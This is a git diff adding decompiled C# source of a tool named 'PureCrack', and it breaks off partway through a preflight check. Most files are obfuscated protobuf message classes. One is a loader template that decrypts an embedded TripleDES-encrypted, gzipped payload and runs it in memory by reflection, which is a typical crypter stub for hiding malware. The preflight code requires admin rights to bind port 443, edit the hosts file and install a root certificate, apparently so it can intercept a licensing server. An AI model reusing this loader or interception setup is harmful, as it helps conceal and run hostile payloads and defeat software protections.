b/decompiled/PureCrack.assets.inner.GClass15.cs @@ -0,0 +1,51 @@ +using System; +using System.Security.Cryptography; +using System.Text; + +// Token: 0x02000025 RID: 37 +public static class GClass15 +{ + // Token: 0x060000FF RID: 255 RVA: 0x00009974 File Offset: 0x00007B74 + public static string smethod_0(string string_0) + { + MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider(); + md5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(string_0)); + byte[] hash = md5CryptoServiceProvider.Hash; + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < hash.Length; i++) + { + stringBuilder.Append(hash[i].ToString("x2")); + } + return stringBuilder.ToString(); + } + + // Token: 0x06000100 RID: 256 RVA: 0x000099D0 File Offset: 0x00007BD0 + public static string smethod_1(byte[] byte_0) + { + MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider(); + md5CryptoServiceProvider.ComputeHash(byte_0); + byte[] hash = md5CryptoServiceProvider.Hash; + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < hash.Length; i++) + { + stringBuilder.Append(hash[i].ToString("x2")); + } + return stringBuilder.ToString(); + } + + // Token: 0x06000101 RID: 257 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass15() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000102 RID: 258 RVA: 0x0000296D File Offset: 0x00000B6D + internal static bool smethod_2() + { + return GClass15.object_0 == null; + } + + // Token: 0x040000A7 RID: 167 + private static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.GClass2.cs b/decompiled/PureCrack.assets.inner.GClass2.cs new file mode 100644 index 0000000..825f798 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass2.cs @@ -0,0 +1,31 @@ +using System; +using ProtoBuf; + +// Token: 0x02000020 RID: 32 +[ProtoInclude(2, typeof(GClass8))] +[ProtoInclude(1, typeof(GClass4))] +[ProtoContract] +[ProtoInclude(86, typeof(GClass10))] +[ProtoInclude(3, typeof(GClass9))] +[ProtoInclude(4, typeof(GClass7))] +[ProtoInclude(5, typeof(GClass11))] +[ProtoInclude(35, typeof(GClass6))] +[ProtoInclude(38, typeof(GClass3))] +public class GClass2 +{ + // Token: 0x060000EC RID: 236 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass2() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000ED RID: 237 RVA: 0x000028B6 File Offset: 0x00000AB6 + internal static bool smethod_0() + { + return GClass2.object_0 == null; + } + + // Token: 0x04000078 RID: 120 + private static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.GClass3.cs b/decompiled/PureCrack.assets.inner.GClass3.cs new file mode 100644 index 0000000..ea4e132 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass3.cs @@ -0,0 +1,131 @@ +using System; +using System.Collections.Generic; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x02000017 RID: 23 +[ProtoContract] +public class GClass3 : GClass2 +{ + // Token: 0x17000001 RID: 1 + // (get) Token: 0x06000072 RID: 114 RVA: 0x00002517 File Offset: 0x00000717 + // (set) Token: 0x06000073 RID: 115 RVA: 0x0000251F File Offset: 0x0000071F + [ProtoMember(1)] + public List List_0 { get; set; } + + // Token: 0x17000002 RID: 2 + // (get) Token: 0x06000074 RID: 116 RVA: 0x00002528 File Offset: 0x00000728 + // (set) Token: 0x06000075 RID: 117 RVA: 0x00002530 File Offset: 0x00000730 + [ProtoMember(2)] + public List List_1 { get; set; } + + public GClass3() + { + List_0 = new List(); + List_1 = new List(); + } + + // Token: 0x17000003 RID: 3 + // (get) Token: 0x06000076 RID: 118 RVA: 0x00002539 File Offset: 0x00000739 + // (set) Token: 0x06000077 RID: 119 RVA: 0x00002541 File Offset: 0x00000741 + [ProtoMember(3)] + public string String_0 { get; set; } + + // Token: 0x17000004 RID: 4 + // (get) Token: 0x06000078 RID: 120 RVA: 0x0000254A File Offset: 0x0000074A + // (set) Token: 0x06000079 RID: 121 RVA: 0x00002552 File Offset: 0x00000752 + [ProtoMember(4)] + public string String_1 { get; set; } + + // Token: 0x17000005 RID: 5 + // (get) Token: 0x0600007A RID: 122 RVA: 0x0000255B File Offset: 0x0000075B + // (set) Token: 0x0600007B RID: 123 RVA: 0x00002563 File Offset: 0x00000763 + [ProtoMember(5)] + public bool Boolean_0 { get; set; } + + // Token: 0x17000006 RID: 6 + // (get) Token: 0x0600007C RID: 124 RVA: 0x0000256C File Offset: 0x0000076C + // (set) Token: 0x0600007D RID: 125 RVA: 0x00002574 File Offset: 0x00000774 + [ProtoMember(6)] + public bool Boolean_1 { get; set; } + + // Token: 0x17000007 RID: 7 + // (get) Token: 0x0600007E RID: 126 RVA: 0x0000257D File Offset: 0x0000077D + // (set) Token: 0x0600007F RID: 127 RVA: 0x00002585 File Offset: 0x00000785 + [ProtoMember(7)] + public string String_2 { get; set; } + + // Token: 0x17000008 RID: 8 + // (get) Token: 0x06000080 RID: 128 RVA: 0x0000258E File Offset: 0x0000078E + // (set) Token: 0x06000081 RID: 129 RVA: 0x00002596 File Offset: 0x00000796 + [ProtoMember(8)] + public string String_3 { get; set; } + + // Token: 0x17000009 RID: 9 + // (get) Token: 0x06000082 RID: 130 RVA: 0x0000259F File Offset: 0x0000079F + // (set) Token: 0x06000083 RID: 131 RVA: 0x000025A7 File Offset: 0x000007A7 + [ProtoMember(9)] + public string stadrmoOn1 { get; set; } + + // Token: 0x1700000A RID: 10 + // (get) Token: 0x06000084 RID: 132 RVA: 0x000025B0 File Offset: 0x000007B0 + // (set) Token: 0x06000085 RID: 133 RVA: 0x000025B8 File Offset: 0x000007B8 + [ProtoMember(10)] + public bool Boolean_2 { get; set; } + + // Token: 0x06000087 RID: 135 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass3() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000088 RID: 136 RVA: 0x000025DF File Offset: 0x000007DF + internal static bool smethod_1() + { + return GClass3.object_1 == null; + } + + // Token: 0x04000040 RID: 64 + [CompilerGenerated] + private List list_0; + + // Token: 0x04000041 RID: 65 + [CompilerGenerated] + private List list_1; + + // Token: 0x04000042 RID: 66 + [CompilerGenerated] + private string string_0; + + // Token: 0x04000043 RID: 67 + [CompilerGenerated] + private string string_1; + + // Token: 0x04000044 RID: 68 + [CompilerGenerated] + private bool bool_0; + + // Token: 0x04000045 RID: 69 + [CompilerGenerated] + private bool bool_1; + + // Token: 0x04000046 RID: 70 + [CompilerGenerated] + private string string_2; + + // Token: 0x04000047 RID: 71 + [CompilerGenerated] + private string string_3; + + // Token: 0x04000048 RID: 72 + [CompilerGenerated] + private string string_4; + + // Token: 0x04000049 RID: 73 + [CompilerGenerated] + private bool bool_2; + + // Token: 0x0400004A RID: 74 + private static object object_1; +} diff --git a/decompiled/PureCrack.assets.inner.GClass4.cs b/decompiled/PureCrack.assets.inner.GClass4.cs new file mode 100644 index 0000000..a70a8d5 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass4.cs @@ -0,0 +1,224 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x02000018 RID: 24 +[ProtoContract] +public class GClass4 : GClass2 +{ + // Token: 0x1700000B RID: 11 + // (get) Token: 0x06000089 RID: 137 RVA: 0x000025E9 File Offset: 0x000007E9 + // (set) Token: 0x0600008A RID: 138 RVA: 0x000025F1 File Offset: 0x000007F1 + [ProtoMember(1)] + public string smFdyqYylo { get; set; } + + // Token: 0x1700000C RID: 12 + // (get) Token: 0x0600008B RID: 139 RVA: 0x000025FA File Offset: 0x000007FA + // (set) Token: 0x0600008C RID: 140 RVA: 0x00002602 File Offset: 0x00000802 + [ProtoMember(2)] + public bool Boolean_0 { get; set; } + + // Token: 0x1700000D RID: 13 + // (get) Token: 0x0600008D RID: 141 RVA: 0x0000260B File Offset: 0x0000080B + // (set) Token: 0x0600008E RID: 142 RVA: 0x00002613 File Offset: 0x00000813 + [ProtoMember(3)] + public int Int32_0 { get; set; } + + // Token: 0x1700000E RID: 14 + // (get) Token: 0x0600008F RID: 143 RVA: 0x0000261C File Offset: 0x0000081C + // (set) Token: 0x06000090 RID: 144 RVA: 0x00002624 File Offset: 0x00000824 + [ProtoMember(4)] + public string String_0 { get; set; } + + // Token: 0x1700000F RID: 15 + // (get) Token: 0x06000091 RID: 145 RVA: 0x0000262D File Offset: 0x0000082D + // (set) Token: 0x06000092 RID: 146 RVA: 0x00002635 File Offset: 0x00000835 + [ProtoMember(5)] + public string String_1 { get; set; } + + // Token: 0x17000010 RID: 16 + // (get) Token: 0x06000093 RID: 147 RVA: 0x0000263E File Offset: 0x0000083E + // (set) Token: 0x06000094 RID: 148 RVA: 0x00002646 File Offset: 0x00000846 + [ProtoMember(6)] + public string QnsdsyyYrB { get; set; } + + // Token: 0x17000011 RID: 17 + // (get) Token: 0x06000095 RID: 149 RVA: 0x0000264F File Offset: 0x0000084F + // (set) Token: 0x06000096 RID: 150 RVA: 0x00002657 File Offset: 0x00000857 + [ProtoMember(7)] + public string String_2 { get; set; } + + // Token: 0x17000012 RID: 18 + // (get) Token: 0x06000097 RID: 151 RVA: 0x00002660 File Offset: 0x00000860 + // (set) Token: 0x06000098 RID: 152 RVA: 0x00002668 File Offset: 0x00000868 + [ProtoMember(8)] + public string String_3 { get; set; } + + // Token: 0x17000013 RID: 19 + // (get) Token: 0x06000099 RID: 153 RVA: 0x00002671 File Offset: 0x00000871 + // (set) Token: 0x0600009A RID: 154 RVA: 0x00002679 File Offset: 0x00000879 + [ProtoMember(9)] + public int Int32_1 { get; set; } + + // Token: 0x17000014 RID: 20 + // (get) Token: 0x0600009B RID: 155 RVA: 0x00002682 File Offset: 0x00000882 + // (set) Token: 0x0600009C RID: 156 RVA: 0x0000268A File Offset: 0x0000088A + [ProtoMember(10)] + public string String_4 { get; set; } + + // Token: 0x17000015 RID: 21 + // (get) Token: 0x0600009D RID: 157 RVA: 0x00002693 File Offset: 0x00000893 + // (set) Token: 0x0600009E RID: 158 RVA: 0x0000269B File Offset: 0x0000089B + [ProtoMember(11)] + public string String_5 { get; set; } + + // Token: 0x17000016 RID: 22 + // (get) Token: 0x0600009F RID: 159 RVA: 0x000026A4 File Offset: 0x000008A4 + // (set) Token: 0x060000A0 RID: 160 RVA: 0x000026AC File Offset: 0x000008AC + [ProtoMember(12)] + public int Int32_2 { get; set; } + + // Token: 0x17000017 RID: 23 + // (get) Token: 0x060000A1 RID: 161 RVA: 0x000026B5 File Offset: 0x000008B5 + // (set) Token: 0x060000A2 RID: 162 RVA: 0x000026BD File Offset: 0x000008BD + [ProtoMember(13)] + public string String_6 { get; set; } + + // Token: 0x17000018 RID: 24 + // (get) Token: 0x060000A3 RID: 163 RVA: 0x000026C6 File Offset: 0x000008C6 + // (set) Token: 0x060000A4 RID: 164 RVA: 0x000026CE File Offset: 0x000008CE + [ProtoMember(14)] + public string String_7 { get; set; } + + // Token: 0x17000019 RID: 25 + // (get) Token: 0x060000A5 RID: 165 RVA: 0x000026D7 File Offset: 0x000008D7 + // (set) Token: 0x060000A6 RID: 166 RVA: 0x000026DF File Offset: 0x000008DF + [ProtoMember(15)] + public string String_8 { get; set; } + + // Token: 0x1700001A RID: 26 + // (get) Token: 0x060000A7 RID: 167 RVA: 0x000026E8 File Offset: 0x000008E8 + // (set) Token: 0x060000A8 RID: 168 RVA: 0x000026F0 File Offset: 0x000008F0 + [ProtoMember(16)] + public string String_9 { get; set; } + + // Token: 0x1700001B RID: 27 + // (get) Token: 0x060000A9 RID: 169 RVA: 0x000026F9 File Offset: 0x000008F9 + // (set) Token: 0x060000AA RID: 170 RVA: 0x00002701 File Offset: 0x00000901 + [ProtoMember(17)] + public byte[] Byte_0 { get; set; } + + // Token: 0x1700001C RID: 28 + // (get) Token: 0x060000AB RID: 171 RVA: 0x0000270A File Offset: 0x0000090A + // (set) Token: 0x060000AC RID: 172 RVA: 0x00002712 File Offset: 0x00000912 + [ProtoMember(18)] + public string String_10 { get; set; } + + // Token: 0x1700001D RID: 29 + // (get) Token: 0x060000AD RID: 173 RVA: 0x0000271B File Offset: 0x0000091B + // (set) Token: 0x060000AE RID: 174 RVA: 0x00002723 File Offset: 0x00000923 + [ProtoMember(19)] + public bool Boolean_1 { get; set; } + + // Token: 0x1700001E RID: 30 + // (get) Token: 0x060000AF RID: 175 RVA: 0x0000272C File Offset: 0x0000092C + // (set) Token: 0x060000B0 RID: 176 RVA: 0x00002734 File Offset: 0x00000934 + [ProtoMember(20)] + public string String_11 { get; set; } + + // Token: 0x060000B2 RID: 178 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass4() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000B3 RID: 179 RVA: 0x00002745 File Offset: 0x00000945 + internal static bool smethod_1() + { + return GClass4.object_1 == null; + } + + // Token: 0x0400004B RID: 75 + [CompilerGenerated] + private string obhFjdEgjE; + + // Token: 0x0400004C RID: 76 + [CompilerGenerated] + private bool bool_0; + + // Token: 0x0400004D RID: 77 + [CompilerGenerated] + private int int_0; + + // Token: 0x0400004E RID: 78 + [CompilerGenerated] + private string string_0; + + // Token: 0x0400004F RID: 79 + [CompilerGenerated] + private string string_1; + + // Token: 0x04000050 RID: 80 + [CompilerGenerated] + private string string_2; + + // Token: 0x04000051 RID: 81 + [CompilerGenerated] + private string string_3; + + // Token: 0x04000052 RID: 82 + [CompilerGenerated] + private string string_4; + + // Token: 0x04000053 RID: 83 + [CompilerGenerated] + private int int_1; + + // Token: 0x04000054 RID: 84 + [CompilerGenerated] + private string string_5; + + // Token: 0x04000055 RID: 85 + [CompilerGenerated] + private string string_6; + + // Token: 0x04000056 RID: 86 + [CompilerGenerated] + private int int_2; + + // Token: 0x04000057 RID: 87 + [CompilerGenerated] + private string string_7; + + // Token: 0x04000058 RID: 88 + [CompilerGenerated] + private string string_8; + + // Token: 0x04000059 RID: 89 + [CompilerGenerated] + private string string_9; + + // Token: 0x0400005A RID: 90 + [CompilerGenerated] + private string string_10; + + // Token: 0x0400005B RID: 91 + [CompilerGenerated] + private byte[] byte_0; + + // Token: 0x0400005C RID: 92 + [CompilerGenerated] + private string string_11; + + // Token: 0x0400005D RID: 93 + [CompilerGenerated] + private bool bool_1; + + // Token: 0x0400005E RID: 94 + [CompilerGenerated] + private string string_12; + + // Token: 0x0400005F RID: 95 + private static object object_1; +} diff --git a/decompiled/PureCrack.assets.inner.GClass5.cs b/decompiled/PureCrack.assets.inner.GClass5.cs new file mode 100644 index 0000000..4f63d23 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass5.cs @@ -0,0 +1,34 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x02000019 RID: 25 +[ProtoContract] +public class GClass5 : GClass2 +{ + // Token: 0x1700001F RID: 31 + // (get) Token: 0x060000B4 RID: 180 RVA: 0x0000274F File Offset: 0x0000094F + // (set) Token: 0x060000B5 RID: 181 RVA: 0x00002757 File Offset: 0x00000957 + [ProtoMember(3)] + public byte[] Byte_0 { get; set; } + + // Token: 0x060000B7 RID: 183 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass5() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000B8 RID: 184 RVA: 0x00002760 File Offset: 0x00000960 + internal static bool smethod_1() + { + return GClass5.object_1 == null; + } + + // Token: 0x04000060 RID: 96 + [CompilerGenerated] + private byte[] byte_0; + + // Token: 0x04000061 RID: 97 + internal static object object_1; +} diff --git a/decompiled/PureCrack.assets.inner.GClass6.cs b/decompiled/PureCrack.assets.inner.GClass6.cs new file mode 100644 index 0000000..decefbc --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass6.cs @@ -0,0 +1,23 @@ +using System; +using ProtoBuf; + +// Token: 0x0200001A RID: 26 +[ProtoContract] +public class GClass6 : GClass2 +{ + // Token: 0x060000BA RID: 186 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass6() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000BB RID: 187 RVA: 0x0000276A File Offset: 0x0000096A + internal static bool smethod_1() + { + return GClass6.object_1 == null; + } + + // Token: 0x04000062 RID: 98 + internal static object object_1; +} diff --git a/decompiled/PureCrack.assets.inner.GClass7.cs b/decompiled/PureCrack.assets.inner.GClass7.cs new file mode 100644 index 0000000..fb5cdfa --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass7.cs @@ -0,0 +1,54 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x0200001B RID: 27 +[ProtoContract] +public class GClass7 : GClass2 +{ + // Token: 0x17000020 RID: 32 + // (get) Token: 0x060000BC RID: 188 RVA: 0x00002774 File Offset: 0x00000974 + // (set) Token: 0x060000BD RID: 189 RVA: 0x0000277C File Offset: 0x0000097C + [ProtoMember(1)] + public GClass4 GClass4_0 { get; set; } + + // Token: 0x17000021 RID: 33 + // (get) Token: 0x060000BE RID: 190 RVA: 0x00002785 File Offset: 0x00000985 + // (set) Token: 0x060000BF RID: 191 RVA: 0x0000278D File Offset: 0x0000098D + [ProtoMember(2)] + public GEnum0 GEnum0_0 { get; set; } + + // Token: 0x17000022 RID: 34 + // (get) Token: 0x060000C0 RID: 192 RVA: 0x00002796 File Offset: 0x00000996 + // (set) Token: 0x060000C1 RID: 193 RVA: 0x0000279E File Offset: 0x0000099E + [ProtoMember(3)] + public string zPjUxLdehl { get; set; } + + // Token: 0x060000C3 RID: 195 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass7() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000C4 RID: 196 RVA: 0x000027A7 File Offset: 0x000009A7 + internal static bool smethod_1() + { + return GClass7.object_1 == null; + } + + // Token: 0x04000063 RID: 99 + [CompilerGenerated] + private GClass4 gclass4_0; + + // Token: 0x04000064 RID: 100 + [CompilerGenerated] + private GEnum0 genum0_0; + + // Token: 0x04000065 RID: 101 + [CompilerGenerated] + private string string_0; + + // Token: 0x04000066 RID: 102 + internal static object object_1; +} diff --git a/decompiled/PureCrack.assets.inner.GClass8.cs b/decompiled/PureCrack.assets.inner.GClass8.cs new file mode 100644 index 0000000..cd851cd --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass8.cs @@ -0,0 +1,84 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x0200001C RID: 28 +[ProtoContract] +public class GClass8 : GClass2 +{ + // Token: 0x17000023 RID: 35 + // (get) Token: 0x060000C5 RID: 197 RVA: 0x000027B1 File Offset: 0x000009B1 + // (set) Token: 0x060000C6 RID: 198 RVA: 0x000027B9 File Offset: 0x000009B9 + [ProtoMember(1)] + public int Int32_0 { get; set; } + + // Token: 0x17000024 RID: 36 + // (get) Token: 0x060000C7 RID: 199 RVA: 0x000027C2 File Offset: 0x000009C2 + // (set) Token: 0x060000C8 RID: 200 RVA: 0x000027CA File Offset: 0x000009CA + [ProtoMember(2)] + public bool HasValue { get; set; } + + // Token: 0x17000025 RID: 37 + // (get) Token: 0x060000C9 RID: 201 RVA: 0x000027D3 File Offset: 0x000009D3 + // (set) Token: 0x060000CA RID: 202 RVA: 0x000027DB File Offset: 0x000009DB + [ProtoMember(3)] + public int Int32_1 { get; set; } + + // Token: 0x17000026 RID: 38 + // (get) Token: 0x060000CB RID: 203 RVA: 0x000027E4 File Offset: 0x000009E4 + // (set) Token: 0x060000CC RID: 204 RVA: 0x000027EC File Offset: 0x000009EC + [ProtoMember(4)] + public string String_0 { get; set; } + + // Token: 0x17000027 RID: 39 + // (get) Token: 0x060000CD RID: 205 RVA: 0x000027F5 File Offset: 0x000009F5 + // (set) Token: 0x060000CE RID: 206 RVA: 0x000027FD File Offset: 0x000009FD + [ProtoMember(5)] + public string String_1 { get; set; } + + // Token: 0x17000028 RID: 40 + // (get) Token: 0x060000CF RID: 207 RVA: 0x00002806 File Offset: 0x00000A06 + // (set) Token: 0x060000D0 RID: 208 RVA: 0x0000280E File Offset: 0x00000A0E + [ProtoMember(6)] + public byte[] Byte_0 { get; set; } + + // Token: 0x060000D2 RID: 210 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass8() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000D3 RID: 211 RVA: 0x00002817 File Offset: 0x00000A17 + internal static bool smethod_1() + { + return GClass8.object_1 == null; + } + + // Token: 0x04000067 RID: 103 + [CompilerGenerated] + private int int_0; + + // Token: 0x04000068 RID: 104 + [CompilerGenerated] + private bool bool_0; + + // Token: 0x04000069 RID: 105 + [CompilerGenerated] + private int int_1; + + // Token: 0x0400006A RID: 106 + [CompilerGenerated] + private string string_0; + + // Token: 0x0400006B RID: 107 + [CompilerGenerated] + private string string_1; + + // Token: 0x0400006C RID: 108 + [CompilerGenerated] + private byte[] byte_0; + + // Token: 0x0400006D RID: 109 + internal static object object_1; +} diff --git a/decompiled/PureCrack.assets.inner.GClass9.cs b/decompiled/PureCrack.assets.inner.GClass9.cs new file mode 100644 index 0000000..7f556ca --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass9.cs @@ -0,0 +1,34 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x0200001D RID: 29 +[ProtoContract] +public class GClass9 : GClass2 +{ + // Token: 0x17000029 RID: 41 + // (get) Token: 0x060000D4 RID: 212 RVA: 0x00002821 File Offset: 0x00000A21 + // (set) Token: 0x060000D5 RID: 213 RVA: 0x00002829 File Offset: 0x00000A29 + [ProtoMember(1)] + public string String_0 { get; set; } + + // Token: 0x060000D7 RID: 215 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass9() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000D8 RID: 216 RVA: 0x00002832 File Offset: 0x00000A32 + internal static bool smethod_1() + { + return GClass9.object_1 == null; + } + + // Token: 0x0400006E RID: 110 + [CompilerGenerated] + private string string_0; + + // Token: 0x0400006F RID: 111 + internal static object object_1; +} diff --git a/decompiled/PureCrack.assets.inner.GEnum0.cs b/decompiled/PureCrack.assets.inner.GEnum0.cs new file mode 100644 index 0000000..12a0668 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GEnum0.cs @@ -0,0 +1,128 @@ +using System; +using ProtoBuf; + +// Token: 0x02000023 RID: 35 +[ProtoContract] +public enum GEnum0 +{ + // Token: 0x0400007E RID: 126 + [ProtoEnum(Value = 0)] + const_0, + // Token: 0x0400007F RID: 127 + [ProtoEnum(Value = 1)] + const_1, + // Token: 0x04000080 RID: 128 + [ProtoEnum(Value = 2)] + const_2, + // Token: 0x04000081 RID: 129 + [ProtoEnum(Value = 3)] + const_3, + // Token: 0x04000082 RID: 130 + [ProtoEnum(Value = 4)] + const_4, + // Token: 0x04000083 RID: 131 + [ProtoEnum(Value = 5)] + const_5, + // Token: 0x04000084 RID: 132 + [ProtoEnum(Value = 6)] + const_6, + // Token: 0x04000085 RID: 133 + [ProtoEnum(Value = 7)] + const_7, + // Token: 0x04000086 RID: 134 + [ProtoEnum(Value = 8)] + const_8, + // Token: 0x04000087 RID: 135 + [ProtoEnum(Value = 9)] + const_9, + // Token: 0x04000088 RID: 136 + [ProtoEnum(Value = 10)] + const_10, + // Token: 0x04000089 RID: 137 + [ProtoEnum(Value = 11)] + const_11, + // Token: 0x0400008A RID: 138 + [ProtoEnum(Value = 12)] + const_12, + // Token: 0x0400008B RID: 139 + [ProtoEnum(Value = 13)] + const_13, + // Token: 0x0400008C RID: 140 + [ProtoEnum(Value = 14)] + const_14, + // Token: 0x0400008D RID: 141 + [ProtoEnum(Value = 15)] + const_15, + // Token: 0x0400008E RID: 142 + [ProtoEnum(Value = 16)] + const_16, + // Token: 0x0400008F RID: 143 + [ProtoEnum(Value = 17)] + const_17, + // Token: 0x04000090 RID: 144 + [ProtoEnum(Value = 18)] + const_18, + // Token: 0x04000091 RID: 145 + [ProtoEnum(Value = 19)] + const_19, + // Token: 0x04000092 RID: 146 + [ProtoEnum(Value = 20)] + const_20, + // Token: 0x04000093 RID: 147 + [ProtoEnum(Value = 21)] + const_21, + // Token: 0x04000094 RID: 148 + [ProtoEnum(Value = 22)] + const_22, + // Token: 0x04000095 RID: 149 + [ProtoEnum(Value = 23)] + const_23, + // Token: 0x04000096 RID: 150 + [ProtoEnum(Value = 24)] + const_24, + // Token: 0x04000097 RID: 151 + [ProtoEnum(Value = 25)] + const_25, + // Token: 0x04000098 RID: 152 + [ProtoEnum(Value = 26)] + const_26, + // Token: 0x04000099 RID: 153 + [ProtoEnum(Value = 27)] + const_27, + // Token: 0x0400009A RID: 154 + [ProtoEnum(Value = 28)] + const_28, + // Token: 0x0400009B RID: 155 + [ProtoEnum(Value = 29)] + const_29, + // Token: 0x0400009C RID: 156 + [ProtoEnum(Value = 30)] + const_30, + // Token: 0x0400009D RID: 157 + [ProtoEnum(Value = 31)] + const_31, + // Token: 0x0400009E RID: 158 + [ProtoEnum(Value = 32)] + const_32, + // Token: 0x0400009F RID: 159 + [ProtoEnum(Value = 33)] + const_33, + // Token: 0x040000A0 RID: 160 + [ProtoEnum(Value = 34)] + const_34, + // Token: 0x040000A1 RID: 161 + [ProtoEnum(Value = 35)] + const_35, + // Token: 0x040000A2 RID: 162 + [ProtoEnum(Value = 36)] + const_36, + // Token: 0x040000A3 RID: 163 + [ProtoEnum(Value = 37)] + const_37, + // Token: 0x040000A4 RID: 164 + [ProtoEnum(Value = 38)] + const_38, + // Token: 0x040000A5 RID: 165 + [ProtoEnum(Value = 39)] + const_39 +} diff --git a/decompiled/PureCrack.assets.inner.Loader.tmpl b/decompiled/PureCrack.assets.inner.Loader.tmpl new file mode 100644 index 0000000..87256cb --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Loader.tmpl @@ -0,0 +1,76 @@ +using System; +using System.IO; +using System.IO.Compression; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Security.Cryptography; + +internal static class PCLoader +{ + private static Assembly pa; + private static Assembly R(object s, ResolveEventArgs e) + { + if (e.Name.Contains("protobuf")) + { + if (pa == null) + { + using (var st = typeof(PCLoader).Assembly.GetManifestResourceStream("protobuf-net.dll")) + { + byte[] b = new byte[st.Length]; st.Read(b, 0, b.Length); + pa = Assembly.Load(b); + } + } + return pa; + } + return null; + } + + [DllImport("user32.dll")] + private static extern bool SetProcessDPIAware(); + + public static void Main() + { + try { SetProcessDPIAware(); } catch { } + AppDomain.CurrentDomain.AssemblyResolve += R; + + byte[] blob; + using (var st = typeof(PCLoader).Assembly.GetManifestResourceStream("PayloadSource.zip")) + { + blob = new byte[st.Length]; st.Read(blob, 0, blob.Length); + } + + byte[] key = Convert.FromBase64String("__KEY_B64__"); + byte[] iv = Convert.FromBase64String("__IV_B64__"); + byte[] dec; + using (var t = TripleDES.Create()) + { + t.Key = key; t.IV = iv; + t.Mode = CipherMode.CBC; t.Padding = PaddingMode.PKCS7; + using (var d = t.CreateDecryptor()) + dec = d.TransformFinalBlock(blob, 0, blob.Length); + } + + byte[] raw; + using (var ms = new MemoryStream(dec, 4, dec.Length - 4)) + using (var gz = new GZipStream(ms, CompressionMode.Decompress)) + using (var o = new MemoryStream()) + { + byte[] buf = new byte[4096]; int n; + while ((n = gz.Read(buf, 0, buf.Length)) > 0) o.Write(buf, 0, n); + raw = o.ToArray(); + } + + Assembly a = Assembly.Load(raw); + foreach (var tp in a.GetTypes()) + { + foreach (var m in tp.GetMethods(BindingFlags.Public | BindingFlags.Static | BindingFlags.DeclaredOnly)) + { + if (m.ReturnType == typeof(void) && m.GetParameters().Length == 0) + { + m.Invoke(null, null); + return; + } + } + } + } +} diff --git a/decompiled/PureCrack.assets.inner.protobuf-net.dll b/decompiled/PureCrack.assets.inner.protobuf-net.dll new file mode 100644 index 0000000..a1c43fc Binary files /dev/null and b/decompiled/PureCrack.assets.inner.protobuf-net.dll differ diff --git a/decompiled/PureCrack/Preflight.cs b/decompiled/PureCrack/Preflight.cs new file mode 100644 index 0000000..4d1c40a --- /dev/null +++ b/decompiled/PureCrack/Preflight.cs @@ -0,0 +1,166 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Net; +using System.Net.Sockets; +using System.Security.Principal; +using Microsoft.CodeAnalysis.CSharp; +using PureCrack.Panel; +using PureCrack.Setup; +using PureCrack.Util; + +namespace PureCrack; + +public static class Preflight +{ + public sealed class Result + { + public List Problems { get; } = new List(); + + public string? PanelExePath { get; set; } + + public bool Ok => Problems.Count == 0; + } + + public static Result Run() + { + Result result = new Result(); + if (!IsAdmin()) + { + result.Problems.Add("not running as administrator (need admin to bind :443 + write hosts + install root cert)"); + } + if (!IsTcpPortFree(443)) + { + string text = LookupTcpListenerHolder(443); + string arg = text ?? "another process"; + string arg2 = ((text != null && text.StartsWith("PID ")) ? (" (taskkill /F /PID " + text.Substring(4).Split(new char[1] { ' ' })[0] + " to stop it)") : ""); + result.Problems.Add($":{443} is already bound by {arg}{arg2}"); + } + try + { + if (!HostsManager.IsWritable()) + { + result.Problems.Add(HostsManager.Path + " is not writable (file marked read-only? AV blocking?)"); + } + } + catch (Exception ex) + { + result.Problems.Add("hosts file check threw: " + ex.Message); + 